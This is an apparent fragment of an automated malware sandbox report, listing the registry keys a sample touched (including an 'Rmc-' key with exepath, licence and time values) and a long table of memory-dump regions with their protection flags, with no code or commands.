HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\SOFTWARE\Rmc-G51VNO
exepath
HKEY_CURRENT_USER\SOFTWARE\Rmc-G51VNO
licence
HKEY_CURRENT_USER\SOFTWARE\Rmc-G51VNO
time
There are 24 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
1C3F6D21000
heap
page read and write
28801541000
trusted library allocation
page read and write
6446000
trusted library allocation
page read and write
2D3F000
heap
page read and write
7FFD9BB90000
trusted library allocation
page read and write
1C2D98C0000
heap
page read and write
1C3F5C62000
heap
page read and write
4A41000
heap
page read and write
7FFD9B984000
trusted library allocation
page read and write
C59A273000
stack
page read and write
27CB000
heap
page read and write
1F06AD25000
heap
page read and write
1C3F3E3A000
heap
page read and write
5BEE000
heap
page read and write
88B0000
heap
page read and write
4F50000
heap
page read and write
29F6DA00000
heap
page read and write
4A3C000
heap
page read and write
1C2DB9E4000
trusted library allocation
page read and write
4DCE000
stack
page read and write
4BFF000
trusted library allocation
page read and write
27E5000
heap
page read and write
1F06AC50000
heap
page read and write
1F06A9B8000
heap
page read and write
1C2D984F000
heap
page read and write
28800141000
trusted library allocation
page read and write
1C3F3DC9000
heap
page read and write
1C3F5C76000
heap
page read and write
6081000
heap
page read and write
580C000
heap
page read and write
6B5B000
stack
page read and write
4A1F000
stack
page read and write
1C3F5C71000
heap
page read and write
1F068C70000
heap
page read and write
59CE000
heap
page read and write
735D000
stack
page read and write
29F6DA3A000
heap
page read and write
7F00000
trusted library allocation
page read and write
73B0000
trusted library allocation
page read and write
1F0689FF000
heap
page read and write
6B75000
trusted library allocation
page read and write
1C2F3870000
heap
page read and write
73E0000
trusted library allocation
page read and write
29F6DA1D000
heap
page read and write
4A2F000
heap
page read and write
4F31000
heap
page read and write
1F06AA55000
heap
page read and write
2D28000
heap
page read and write
4A29000
heap
page read and write
4A26000
heap
page read and write
1C3F3DF1000
heap
page read and write
1C3F3E3A000
heap
page read and write
5915000
heap
page read and write
1C3F6BD3000
heap
page read and write
1C3F5C8E000
heap
page read and write
7ED0000
trusted library allocation
page execute and read and write
28AE000
stack
page read and write
2796000
heap
page read and write
1C3F3F75000
heap
page read and write
1C3F61F0000
heap
page read and write
5110000
heap
page read and write
7400000
trusted library allocation
page read and write
6116000
heap
page read and write
4DB0000
trusted library allocation
page read and write
342E000
stack
page read and write
6396000
trusted library allocation
page read and write
1C3F3DAE000
heap
page read and write
57B1000
heap
page read and write
1C2DBA23000
trusted library allocation
page read and write
1C3F64B0000
heap
page read and write
278A1FE000
stack
page read and write
1F06AE56000
heap
page read and write
1F06A932000
heap
page read and write
C59A57E000
stack
page read and write
2880824F000
trusted library allocation
page read and write
533B000
stack
page read and write
1C2F3761000
heap
page read and write
7AC0000
trusted library allocation
page read and write
A50000
heap
page read and write
76DE000
stack
page read and write
29F6B9C0000
heap
page read and write
554E000
trusted library allocation
page read and write
CA0000
trusted library allocation
page read and write
29F6DA29000
heap
page read and write
4A5E000
heap
page read and write
4D60000
trusted library allocation
page read and write
8ADE000
stack
page read and write
1C2DB8AE000
trusted library allocation
page read and write
7FFD9BC20000
trusted library allocation
page read and write
25E5000
heap
page read and write
5BD8000
heap
page read and write
950000
heap
page read and write
765E000
stack
page read and write
7731000
heap
page read and write
29F6D9E0000
heap
page read and write
5C98000
heap
page read and write
4F6E000
heap
page read and write
5552000
trusted library allocation
page read and write
C59A97E000
stack
page read and write
29EF000
stack
page read and write
4360000
heap
page read and write
1F0689EB000
heap
page read and write
711B000
trusted library allocation
page read and write
4F6B000
heap
page read and write
4DDF000
stack
page read and write
1C3F6B5D000
heap
page read and write
1C3F5C8E000
heap
page read and write
7215000
heap
page read and write
6115000
heap
page read and write
29F6D9B9000
heap
page read and write
491E000
stack
page read and write
1F0689FE000
heap
page read and write
1C3F5910000
heap
page read and write
1C2DB4F0000
trusted library allocation
page read and write
6F1E000
stack
page read and write
4A60000
heap
page read and write
57C6000
heap
page read and write
29F6BB0C000
heap
page read and write
2B80000
heap
page read and write
27D9000
heap
page read and write
1F068BF0000
heap
page read and write
1F06A967000
heap
page read and write
2DA8000
heap
page read and write
1C3F6CD6000
heap
page read and write
4F40000
heap
page read and write
2D24000
heap
page read and write
C59A676000
stack
page read and write
2D5A000
heap
page read and write
1C2DBA4B000
trusted library allocation
page read and write
5210000
heap
page read and write
1C3F6D1E000
heap
page read and write
5F6E000
heap
page read and write
AE2000
trusted library allocation
page read and write
7DC0000
trusted library allocation
page read and write
74AD000
stack
page read and write
5964000
heap
page read and write
1C3F3D50000
heap
page read and write
7D50000
trusted library allocation
page read and write
2D5A000
heap
page read and write
1C2D96A0000
heap
page read and write
5BE9000
heap
page read and write
1C3F3DFC000
heap
page read and write
1C3F5FBD000
heap
page read and write
5D02000
heap
page read and write
1C3F3E2F000
heap
page read and write
62D0000
heap
page read and write
1C3F3E3A000
heap
page read and write
5DB6000
heap
page read and write
5FF0000
heap
page read and write
4A5B000
heap
page read and write
57C6000
heap
page read and write
599A000
heap
page read and write
1F068A1B000
heap
page read and write
73D0000
trusted library allocation
page read and write
29F6F8D0000
trusted library allocation
page read and write
27E4000
heap
page read and write
6270000
heap
page read and write
1C3F3DF1000
heap
page read and write
29F6D9D7000
heap
page read and write
1C3F3D70000
heap
page read and write
5DB6000
heap
page read and write
1C3F3E27000
heap
page read and write
1C3F6CD3000
heap
page read and write
2789D1E000
stack
page read and write
5955000
heap
page read and write
1F0689A0000
heap
page read and write
49A0000
heap
page execute and read and write
4CCD000
stack
page read and write
71E6000
heap
page read and write
1C3F5C73000
heap
page read and write
2FDF000
stack
page read and write
1F068BF4000
heap
page read and write
4F3F000
heap
page read and write
1C2F3781000
heap
page read and write
4D95000
trusted library allocation
page execute and read and write
21BB000
stack
page read and write
2860000
heap
page read and write
1C3F6CE6000
heap
page read and write
9329000
trusted library allocation
page read and write
1F06AA51000
heap
page read and write
4F48000
heap
page read and write
7012000
heap
page read and write
2F8C000
stack
page read and write
9FE000
stack
page read and write
1F06A957000
heap
page read and write
1C2DB4F5000
trusted library allocation
page read and write
1F06A956000
heap
page read and write
555B000
trusted library allocation
page read and write
1C3F3E64000
heap
page read and write
1C3F6B36000
heap
page read and write
4A23000
heap
page read and write
7FFD9BC40000
trusted library allocation
page read and write
2D9E000
stack
page read and write
1C3F6B1C000
heap
page read and write
1F06A967000
heap
page read and write
57B0000
heap
page read and write
3240000
heap
page read and write
7FFD9BB3A000
trusted library allocation
page read and write
581F000
heap
page read and write
C59A5FD000
stack
page read and write
5F81000
heap
page read and write
1C3F5F75000
heap
page read and write
5845000
heap
page read and write
4340000
heap
page read and write
26F8000
heap
page read and write
1C2DB8CE000
trusted library allocation
page read and write
4F51000
heap
page read and write
29F6D8D0000
heap
page read and write
7FFD9BCA0000
trusted library allocation
page read and write
C59A8FF000
stack
page read and write
3030000
heap
page read and write
495F000
stack
page read and write
5999000
heap
page read and write
4F6B000
heap
page read and write
34EE000
heap
page read and write
78CE000
stack
page read and write
1C3F5C65000
heap
page read and write
51C0000
trusted library allocation
page read and write
28800B41000
trusted library allocation
page read and write
540B000
stack
page read and write
5F82000
heap
page read and write
581F000
heap
page read and write
4F2F000
stack
page read and write
7120000
heap
page read and write
2BF0000
direct allocation
page read and write
4D92000
trusted library allocation
page read and write
4A180FE000
stack
page read and write
4A5E000
heap
page read and write
584BAFF000
stack
page read and write
5CF4000
heap
page read and write
1C2F3785000
heap
page read and write
5CF6000
heap
page read and write
62E0000
heap
page read and write
58E0000
heap
page read and write
27D9000
heap
page read and write
6C70000
heap
page read and write
1C3F3F80000
heap
page read and write
2CD2000
heap
page read and write
2CD2000
heap
page read and write
6DDB000
stack
page read and write
34C9000
heap
page read and write
5915000
heap
page read and write
4F6B000
heap
page read and write
27E2000
heap
page read and write
D2C000
stack
page read and write
29F6D9D0000
heap
page read and write
5A38000
trusted library allocation
page read and write
27D9000
heap
page read and write
54C0000
heap
page read and write
4A41000
heap
page read and write
7380000
trusted library allocation
page read and write
5902000
heap
page read and write
1C3F6700000
heap
page read and write
4A5E000
heap
page read and write
29F6DA31000
heap
page read and write
1C2EB4B0000
trusted library allocation
page read and write
5260000
trusted library allocation
page read and write
28802941000
trusted library allocation
page read and write
5BF4000
heap
page read and write
4F51000
heap
page read and write
A78000
heap
page read and write
2BE0000
heap
page read and write
581F000
heap
page read and write
4A58000
heap
page read and write
29F6DDA5000
heap
page read and write
7FFD9BAA0000
trusted library allocation
page execute and read and write
5053000
heap
page read and write
27E9000
heap
page read and write
5796000
heap
page read and write
1C3F5FEE000
heap
page read and write
1C3F6B10000
heap
page read and write
5804000
heap
page read and write
58E4000
heap
page read and write
1F06A980000
heap
page read and write
2762000
heap
page read and write
5827000
heap
page read and write
29F6BCA0000
heap
page read and write
5548000
trusted library allocation
page read and write
1C3F3DD7000
heap
page read and write
25E0000
heap
page read and write
272E000
heap
page read and write
D9793FF000
stack
page read and write
1C3F5C8E000
heap
page read and write
4A5E000
heap
page read and write
5987000
heap
page read and write
5790000
heap
page read and write
5DBA000
heap
page read and write
731E000
stack
page read and write
1C2DB4C5000
trusted library allocation
page read and write
7AD0000
heap
page execute and read and write
7BB1000
heap
page read and write
1C2DB4A1000
trusted library allocation
page read and write
58F7000
heap
page read and write
5788000
heap
page read and write
4A2C000
heap
page read and write
57C8000
heap
page read and write
5DCB000
heap
page read and write
CB0000
trusted library allocation
page read and write
1F06A997000
heap
page read and write
CE0000
heap
page read and write
4A63000
heap
page read and write
1C3F5CA7000
heap
page read and write
35B4000
heap
page read and write
1F06A957000
heap
page read and write
6B61000
trusted library allocation
page read and write
71E8000
heap
page read and write
1C2D97B5000
heap
page read and write
6A8E000
stack
page read and write
23CD000
stack
page read and write
B59000
heap
page read and write
5845000
heap
page read and write
80DF000
stack
page read and write
4F3F000
heap
page read and write
28F0000
heap
page read and write
28803D41000
trusted library allocation
page read and write
4A40000
heap
page read and write
2760000
heap
page read and write
2CD1000
heap
page read and write
B00000
trusted library allocation
page read and write
35B7000
heap
page read and write
537C000
trusted library allocation
page read and write
1F06A97B000
heap
page read and write
1C3F3E64000
heap
page read and write
2CE1000
heap
page read and write
5D36000
heap
page read and write
6A4D000
stack
page read and write
6083000
heap
page read and write
C19000
heap
page read and write
29F6DCD1000
heap
page read and write
2FC7000
stack
page read and write
761A000
stack
page read and write
1C3F5C82000
heap
page read and write
4F6B000
heap
page read and write
2CFC000
heap
page read and write
1C2DB911000
trusted library allocation
page read and write
2880825B000
trusted library allocation
page read and write
27E4000
heap
page read and write
29F6BBB0000
heap
page read and write
1C3F600E000
heap
page read and write
C59A4FF000
stack
page read and write
581D000
heap
page read and write
1C3F5FBD000
heap
page read and write
1C3F60F0000
heap
page read and write
4A34000
heap
page read and write
5ACF000
stack
page read and write
2796000
heap
page read and write
5530000
heap
page read and write
8CD6000
trusted library allocation
page read and write
7FFD9BB40000
trusted library allocation
page execute and read and write
5FC5000
heap
page read and write
1C3F5F8C000
heap
page read and write
49C0000
heap
page execute and read and write
1C3F6CE3000
heap
page read and write
1C2D9872000
heap
page read and write
246E76D0000
heap
page read and write
1C2D9809000
heap
page read and write
1C3F5C8E000
heap
page read and write
1C3F5C8D000
heap
page read and write
7740000
heap
page read and write
6F9E000
stack
page read and write
246E776B000
heap
page read and write
1C3F3D9E000
heap
page read and write
2746000
heap
page read and write
54E0000
heap
page read and write
1C3F3DF1000
heap
page read and write
5DDA000
heap
page read and write
1C3F3DFA000
heap
page read and write
2C8F000
stack
page read and write
73F0000
trusted library allocation
page read and write
1C2DB5C6000
trusted library allocation
page read and write
1F06A9B8000
heap
page read and write
4F3C000
heap
page read and write
714B000
heap
page read and write
2CB8000
heap
page read and write
4A40000
heap
page read and write
27C9000
heap
page read and write
2D46000
heap
page read and write
2CB0000
heap
page read and write
5808000
heap
page read and write
5F9C000
heap
page read and write
51D0000
trusted library allocation
page read and write
56C000
stack
page read and write
5DB6000
heap
page read and write
51F0000
heap
page read and write
4F34000
heap
page read and write
7BE2000
heap
page read and write
C59A37E000
stack
page read and write
5BD1000
heap
page read and write
5BD1000
heap
page read and write
1C3F5C8E000
heap
page read and write
798F000
stack
page read and write
52BE000
stack
page read and write
353E000
heap
page read and write
1C2F3C70000
heap
page read and write
CF17FFF000
stack
page read and write
26FD000
stack
page read and write
27E7000
heap
page read and write
4A20000
heap
page read and write
584B9FF000
stack
page read and write
1C3F6C18000
heap
page read and write
29F6DA23000
heap
page read and write
1F0689F0000
heap
page read and write
1C2F36AF000
heap
page read and write
5792000
heap
page read and write
4D90000
trusted library allocation
page read and write
29F6BBD0000
heap
page read and write
4A2F000
heap
page read and write
28808341000
trusted library allocation
page read and write
5D77000
heap
page read and write
1C3F6B87000
heap
page read and write
1C3F5C7A000
heap
page read and write
5999000
heap
page read and write
8B71000
trusted library allocation
page read and write
7D60000
trusted library allocation
page read and write
4F4C000
heap
page read and write
29F6D9B0000
heap
page read and write
5D37000
heap
page read and write
5783000
heap
page read and write
1C3F5F54000
heap
page read and write
1C3F5FAC000
heap
page read and write
8A90000
heap
page read and write
D9792FF000
stack
page read and write
1F06A9A3000
heap
page read and write
A70000
heap
page read and write
4CDE000
stack
page read and write
1F0689D8000
heap
page read and write
1C3F5C8D000
heap
page read and write
2A9E000
stack
page read and write
C8E000
stack
page read and write
5955000
heap
page read and write
73DD000
stack
page read and write
1C3F3DF5000
heap
page read and write
AB3000
trusted library allocation
page execute and read and write
29F6D9E7000
heap
page read and write
26EB000
stack
page read and write
6133000
heap
page read and write
1F06A925000
heap
page read and write
4F6B000
heap
page read and write
2570000
heap
page read and write
2738000
heap
page read and write
1C3F6BD3000
heap
page read and write
1C2DBAA2000
trusted library allocation
page read and write
4A41000
heap
page read and write
1C3F5F5E000
heap
page read and write
1C3F5FF0000
heap
page read and write
4F51000
heap
page read and write
57AC000
heap
page read and write
9327000
trusted library allocation
page read and write
1C3F5C61000
heap
page read and write
7EE0000
heap
page read and write
1C3F6CD3000
heap
page read and write
8880000
trusted library allocation
page execute and read and write
C90000
heap
page readonly
48DF000
stack
page read and write
4D6D000
trusted library allocation
page execute and read and write
2A50000
heap
page read and write
1C2DB60B000
trusted library allocation
page read and write
29F6DA38000
heap
page read and write
6002000
heap
page read and write
1C3F6D1E000
heap
page read and write
1C2DB460000
heap
page readonly
820000
heap
page read and write
4A41000
heap
page read and write
2D24000
heap
page read and write
4E5E000
stack
page read and write
5F77000
heap
page read and write
AD7000
trusted library allocation
page execute and read and write
1C3F5C6E000
heap
page read and write
6001000
heap
page read and write
491E000
stack
page read and write
1F068A0A000
heap
page read and write
C59B4CD000
stack
page read and write
2789C93000
stack
page read and write
3350000
heap
page read and write
58D5000
heap
page read and write
7240000
trusted library allocation
page execute and read and write
1C3F5C8D000
heap
page read and write
1C3F6C4F000
heap
page read and write
1C2DB8F0000
trusted library allocation
page read and write
29F6DA0B000
heap
page read and write
58E5000
heap
page read and write
6260000
heap
page read and write
2D46000
heap
page read and write
1C2DB110000
heap
page read and write
5959000
heap
page read and write
4F6E000
heap
page read and write
1C3F6D14000
heap
page read and write
4F6E000
heap
page read and write
29F6BAEA000
heap
page read and write
4F33000
heap
page read and write
B7E000
heap
page read and write
51FE000
stack
page read and write
4F6F000
heap
page read and write
7DB0000
trusted library allocation
page read and write
1F068AD0000
heap
page read and write
4F72000
heap
page read and write
6081000
heap
page read and write
7D00000
trusted library allocation
page execute and read and write
5CF4000
heap
page read and write
2D8D000
heap
page read and write
1C2DB0F0000
trusted library allocation
page read and write
4F3F000
heap
page read and write
2880BD54000
trusted library allocation
page read and write
7BDE000
heap
page read and write
1C3F61E0000
heap
page read and write
29F6D9FB000
heap
page read and write
5999000
heap
page read and write
1C2D97E8000
heap
page read and write
29F6BC30000
heap
page read and write
B8B000
heap
page read and write
1C3F3E24000
heap
page read and write
C59A6F9000
stack
page read and write
1C3F600E000
heap
page read and write
4D87000
trusted library allocation
page execute and read and write
5F60000
heap
page read and write
5827000
heap
page read and write
1C3F5EB0000
remote allocation
page read and write
8CAC000
trusted library allocation
page read and write
4F6E000
heap
page read and write
7DA3000
trusted library allocation
page read and write
4B22000
trusted library allocation
page read and write
609E000
heap
page read and write
8890000
heap
page read and write
2760000
heap
page read and write
C59A3FE000
stack
page read and write
1C2DBBBB000
trusted library allocation
page read and write
717A000
heap
page read and write
1C3F3F40000
heap
page read and write
29F6DED4000
heap
page read and write
1C3F5F5C000
heap
page read and write
7C6E000
stack
page read and write
74EB000
stack
page read and write
543C000
stack
page read and write
57C8000
heap
page read and write
5F81000
heap
page read and write
4F6B000
heap
page read and write
28EF000
stack
page read and write
27C9000
heap
page read and write
581F000
heap
page read and write
5C74000
heap
page read and write
2D27000
heap
page read and write
5793000
heap
page read and write
278A2FE000
stack
page read and write
7420000
trusted library allocation
page read and write
5915000
heap
page read and write
1C3F5F10000
heap
page read and write
88A0000
trusted library allocation
page read and write
29F6D9F0000
heap
page read and write
5804000
heap
page read and write
7FFD9BBA0000
trusted library allocation
page read and write
1C2DB915000
trusted library allocation
page read and write
1C3F6310000
heap
page read and write
2FCD000
stack
page read and write
6087000
heap
page read and write
6001000
heap
page read and write
1C2F36C0000
heap
page read and write
29F6DAD5000
heap
page read and write
1C3F5C7E000
heap
page read and write
1C3F3E31000
heap
page read and write
1C3F5FEE000
heap
page read and write
4A3A000
heap
page read and write
1C3F5C8D000
heap
page read and write
AB4000
trusted library allocation
page read and write
1C3F5C7C000
heap
page read and write
2760000
heap
page read and write
5AD000
stack
page read and write
1C3F5F54000
heap
page read and write
4F51000
heap
page read and write
4A2B000
heap
page read and write
27E8000
stack
page read and write
885E000
stack
page read and write
AC9000
trusted library allocation
page read and write
1C3F5C6E000
heap
page read and write
6066000
heap
page read and write
4F39000
heap
page read and write
1C2DB116000
heap
page read and write
2D24000
heap
page read and write
794E000
stack
page read and write
4F6E000
heap
page read and write
29F6D9B9000
heap
page read and write
CC0000
trusted library allocation
page execute and read and write
1C3F3E24000
heap
page read and write
7F10000
trusted library allocation
page read and write
4F6E000
heap
page read and write
1F0688C0000
heap
page read and write
59CE000
heap
page read and write
5A46000
trusted library allocation
page read and write
5DBE000
heap
page read and write
1F06AA50000
heap
page read and write
1C2DB5C3000
trusted library allocation
page read and write
4F30000
remote allocation
page read and write
5F81000
heap
page read and write
7D70000
trusted library allocation
page read and write
584B5CA000
stack
page read and write
55E0000
heap
page read and write
595D000
heap
page read and write
552E000
stack
page read and write
2D8D000
heap
page read and write
1C3F5C63000
heap
page read and write
1C3F3DBC000
heap
page read and write
1F068B90000
heap
page read and write
5D3B000
heap
page read and write
6095000
heap
page read and write
7515000
heap
page execute and read and write
29F6D9E7000
heap
page read and write
29F6BAD8000
heap
page read and write
57C8000
heap
page read and write
2AA0000
heap
page read and write
73A0000
trusted library allocation
page read and write
7DF478AD0000
trusted library allocation
page execute and read and write
29F6D9B3000
heap
page read and write
1C3F6BD3000
heap
page read and write
54D0000
trusted library allocation
page read and write
1C3F3E31000
heap
page read and write
55FF000
trusted library allocation
page read and write
27EC000
heap
page read and write
3470000
heap
page read and write
1F06A9B1000
heap
page read and write
1F06A851000
heap
page read and write
1C3F5F8C000
heap
page read and write
7FFD9BB70000
trusted library allocation
page execute and read and write
5811000
heap
page read and write
1C3F6D11000
heap
page read and write
8B1E000
stack
page read and write
2730000
heap
page read and write
584BCFE000
stack
page read and write
1C3F3E3A000
heap
page read and write
5818000
heap
page read and write
7211000
heap
page read and write
1F06A954000
heap
page read and write
595D000
heap
page read and write
1C2D98A2000
heap
page read and write
1F06A984000
heap
page read and write
6ECD000
stack
page read and write
D9795FE000
stack
page read and write
9321000
trusted library allocation
page read and write
7E20000
trusted library allocation
page read and write
72DE000
stack
page read and write
6B7A000
trusted library allocation
page read and write
29F6D9FB000
heap
page read and write
4D80000
trusted library allocation
page read and write
5BEE000
heap
page read and write
4F30000
heap
page read and write
7FFD9BA3C000
trusted library allocation
page execute and read and write
278A77B000
stack
page read and write
29F6DAD0000
heap
page read and write
A07000
heap
page read and write
5818000
heap
page read and write
4DC0000
heap
page readonly
7FFD9BB50000
trusted library allocation
page execute and read and write
ABD000
trusted library allocation
page execute and read and write
1F0689D0000
heap
page read and write
715A000
heap
page read and write
1C3F6BD3000
heap
page read and write
1C2F3990000
heap
page read and write
5CF4000
heap
page read and write
CF17EFF000
unkown
page read and write
1C2F3788000
heap
page read and write
4A5B000
heap
page read and write
75DD000
stack
page read and write
1F06A98B000
heap
page read and write
6C60000
heap
page read and write
1F068C75000
heap
page read and write
4A41000
heap
page read and write
6B80000
trusted library allocation
page read and write
1C2D9815000
heap
page read and write
7CED000
stack
page read and write
27D9000
heap
page read and write
5846000
heap
page read and write
1C3F3DF7000
heap
page read and write
7FFD9BBB0000
trusted library allocation
page read and write
2D85000
heap
page read and write
1C3F5C8E000
heap
page read and write
4A5B000
heap
page read and write
7B4C000
heap
page read and write
2DAC000
heap
page read and write
AE0000
trusted library allocation
page read and write
1C3F60F5000
heap
page read and write
7D10000
trusted library allocation
page read and write
246E7760000
heap
page read and write
7B2D000
heap
page read and write
596B000
heap
page read and write
1F06A850000
heap
page read and write
1F06AC51000
heap
page read and write
1C2DB470000
trusted library allocation
page read and write
8171000
trusted library allocation
page read and write
1C3F5CA6000
heap
page read and write
4F50000
heap
page read and write
7FFD9BBD0000
trusted library allocation
page read and write
9325000
trusted library allocation
page read and write
509E000
stack
page read and write
28808D41000
trusted library allocation
page read and write
6115000
heap
page read and write
79B1000
heap
page read and write
29F6BAD0000
heap
page read and write
7FFD9BC80000
trusted library allocation
page read and write
1C2DB5CE000
trusted library allocation
page read and write
1C3F5FEE000
heap
page read and write
B4E000
stack
page read and write
29F6DA17000
heap
page read and write
28B0000
direct allocation
page read and write
1C2DB5BD000
trusted library allocation
page read and write
6D9D000
stack
page read and write
27E4000
heap
page read and write
7110000
trusted library allocation
page read and write
1C3F5C65000
heap
page read and write
1C3F3E31000
heap
page read and write
C59A9FE000
stack
page read and write
2D0A000
heap
page read and write
7FFD9BBF0000
trusted library allocation
page read and write
6B1D000
stack
page read and write
4A188FF000
stack
page read and write
6032000
heap
page read and write
4DD0000
heap
page execute and read and write
7CAE000
stack
page read and write
53CF000
stack
page read and write
4FCE000
stack
page read and write
278A27E000
stack
page read and write
29F6BAD9000
heap
page read and write
1C3F6D00000
heap
page read and write
5DD0000
heap
page read and write
55E3000
heap
page read and write
1C3F3E64000
heap
page read and write
1C3F5C8E000
heap
page read and write
56EF000
stack
page read and write
7FFD9BC70000
trusted library allocation
page read and write
71CF000
heap
page read and write
2717000
heap
page read and write
5BF5000
heap
page read and write
2B00000
heap
page read and write
5903000
heap
page read and write
2785000
heap
page read and write
59C9000
heap
page read and write
29F6D9DC000
heap
page read and write
278A5FE000
stack
page read and write
27CB000
heap
page read and write
9B51000
trusted library allocation
page read and write
29F6D9E7000
heap
page read and write
4F6B000
heap
page read and write
4A63000
heap
page read and write
1C3F3E52000
heap
page read and write
1C3F6CDA000
heap
page read and write
1C2EB4A1000
trusted library allocation
page read and write
8A4D000
stack
page read and write
555F000
trusted library allocation
page read and write
4A28000
heap
page read and write
1C2DB8F5000
trusted library allocation
page read and write
2710000
heap
page read and write
1C3F6BD3000
heap
page read and write
4A5B000
heap
page read and write
1C3F5FF0000
heap
page read and write
4D70000
trusted library allocation
page read and write
5816000
heap
page read and write
1C3F5C87000
heap
page read and write
1C3F5FF0000
heap
page read and write
1C3F5EB0000
remote allocation
page read and write
246E76A0000
heap
page read and write
28FB000
heap
page read and write
34FB000
heap
page read and write
8B21000
trusted library allocation
page read and write
27EE000
heap
page read and write
2C10000
heap
page read and write
5AD0000
heap
page read and write
5999000
heap
page read and write
812E000
stack
page read and write
4F51000
heap
page read and write
1C3F6BB4000
heap
page read and write
5827000
heap
page read and write
6093000
heap
page read and write
1C2DB611000
trusted library allocation
page read and write
5E5F000
stack
page read and write
ADA000
trusted library allocation
page execute and read and write
4A5E000
heap
page read and write
59A7000
heap
page read and write
28808326000
trusted library allocation
page read and write
1C2D97B0000
heap
page read and write
2D85000
heap
page read and write
6F5E000
stack
page read and write
2810000
heap
page read and write
771B000
stack
page read and write
1C3F3DF1000
heap
page read and write
93E000
stack
page read and write
7510000
heap
page execute and read and write
1C2DB090000
heap
page read and write
1C3F5F6E000
heap
page read and write
29F6BAD9000
heap
page read and write
4A2F000
heap
page read and write
1C3F3E31000
heap
page read and write
4F38000
heap
page read and write
1C3F5EB0000
remote allocation
page read and write
1C3F6007000
heap
page read and write
4A23000
heap
page read and write
1C3F5C70000
heap
page read and write
2D9B000
heap
page read and write
1C3F5C8A000
heap
page read and write
29F6D9D7000
heap
page read and write
7B42000
heap
page read and write
5321000
trusted library allocation
page read and write
57A8000
heap
page read and write
C59A47D000
stack
page read and write
5964000
heap
page read and write
4E0B000
stack
page read and write
1C2D9811000
heap
page read and write
4F4C000
heap
page read and write
5C68000
heap
page read and write
7FFD9B982000
trusted library allocation
page read and write
5472000
trusted library allocation
page read and write
29F6DA0B000
heap
page read and write
7AF0000
heap
page read and write
5919000
heap
page read and write
4F51000
heap
page read and write
1C3F3E14000
heap
page read and write
6081000
heap
page read and write
7EF0000
heap
page read and write
584BDFE000
stack
page read and write
4A41000
heap
page read and write
1C3F3DBC000
heap
page read and write
7AC2000
trusted library allocation
page read and write
1C2DB931000
trusted library allocation
page read and write
1C3F6BD3000
heap
page read and write
28803341000
trusted library allocation
page read and write
5818000
heap
page read and write
27E9000
heap
page read and write
2711000
heap
page read and write
AC0000
trusted library allocation
page read and write
279E000
heap
page read and write
5808000
heap
page read and write
3337000
heap
page read and write
2D5F000
unkown
page read and write
4BFB000
trusted library allocation
page read and write
4F30000
remote allocation
page read and write
1C3F6CD3000
heap
page read and write
87D0000
trusted library allocation
page read and write
5C3D000
heap
page read and write
1C3F6CED000
heap
page read and write
7DD0000
trusted library allocation
page read and write
29F6BAD0000
heap
page read and write
4F3B000
heap
page read and write
752E000
trusted library allocation
page read and write
2D46000
heap
page read and write
1C3F5FEE000
heap
page read and write
4F32000
heap
page read and write
3356000
heap
page read and write
2DA5000
heap
page read and write
1C3F5C67000
heap
page read and write
7FFD9BB62000
trusted library allocation
page read and write
6FDE000
stack
page read and write
339E000
stack
page read and write
7535000
trusted library allocation
page read and write
1C3F5C6A000
heap
page read and write
1F06A96C000
heap
page read and write
7FFD9BC00000
trusted library allocation
page read and write
1C2F3777000
heap
page read and write
7FFD9BC10000
trusted library allocation
page read and write
4E60000
trusted library allocation
page execute and read and write
71EA000
heap
page read and write
87B0000
trusted library allocation
page execute and read and write
2D9B000
heap
page read and write
1F06A960000
heap
page read and write
57A2000
heap
page read and write
6E8E000
stack
page read and write
5959000
heap
page read and write
2AFD000
stack
page read and write
1C3F5C7C000
heap
page read and write
7FFD9BC90000
trusted library allocation
page read and write
1F06A95C000
heap
page read and write
595D000
heap
page read and write
4E1E000
stack
page read and write
60D8000
heap
page read and write
7230000
trusted library allocation
page read and write
4A5B000
heap
page read and write
29F6BAB8000
heap
page read and write
285E000
unkown
page read and write
729E000
stack
page read and write
7ACA000
trusted library allocation
page read and write
581C000
heap
page read and write
2D70000
heap
page read and write
7FFD9BA30000
trusted library allocation
page read and write
1C3F5F59000
heap
page read and write
1C3F3E2E000
heap
page read and write
7FFD9BBE0000
trusted library allocation
page read and write
29F6BAB0000
heap
page read and write
279D000
stack
page read and write
1C2D9894000
heap
page read and write
29F6D8D1000
heap
page read and write
6C5A000
stack
page read and write
1F06A98B000
heap
page read and write
29F6BCF5000
heap
page read and write
5310000
heap
page read and write
7D30000
trusted library allocation
page read and write
58D0000
heap
page read and write
7FFD9BA40000
trusted library allocation
page execute and read and write
2D6F000
heap
page read and write
1C2DB5D1000
trusted library allocation
page read and write
4F72000
heap
page read and write
1C2F36C4000
heap
page read and write
741E000
stack
page read and write
48DE000
stack
page read and write
1C3F3E27000
heap
page read and write
52FE000
stack
page read and write
CF17BFD000
stack
page read and write
7D8F000
trusted library allocation
page read and write
1F0689F0000
heap
page read and write
58EE000
heap
page read and write
4A21000
heap
page read and write
1F06A92E000
heap
page read and write
5030000
heap
page read and write
25DE000
stack
page read and write
739F000
stack
page read and write
1C3F3D9F000
heap
page read and write
1C2F36A0000
heap
page read and write
7128000
heap
page read and write
6A0F000
stack
page read and write
2DEA000
heap
page read and write
5E60000
heap
page read and write
525E000
stack
page read and write
1C3F3D9F000
heap
page read and write
1C3F6CD3000
heap
page read and write
278A6FF000
stack
page read and write
71B2000
heap
page read and write
5987000
heap
page read and write
CD0000
trusted library allocation
page read and write
57A6000
heap
page read and write
4A24000
heap
page read and write
34B0000
trusted library allocation
page read and write
5F61000
heap
page read and write
4A3A000
heap
page read and write
1F06A952000
heap
page read and write
4A41000
heap
page read and write
279E000
heap
page read and write
8D03000
trusted library allocation
page read and write
8C9D000
trusted library allocation
page read and write
735E000
stack
page read and write
5D36000
heap
page read and write
1F06A978000
heap
page read and write
29F6DA10000
heap
page read and write
1C3F6CD3000
heap
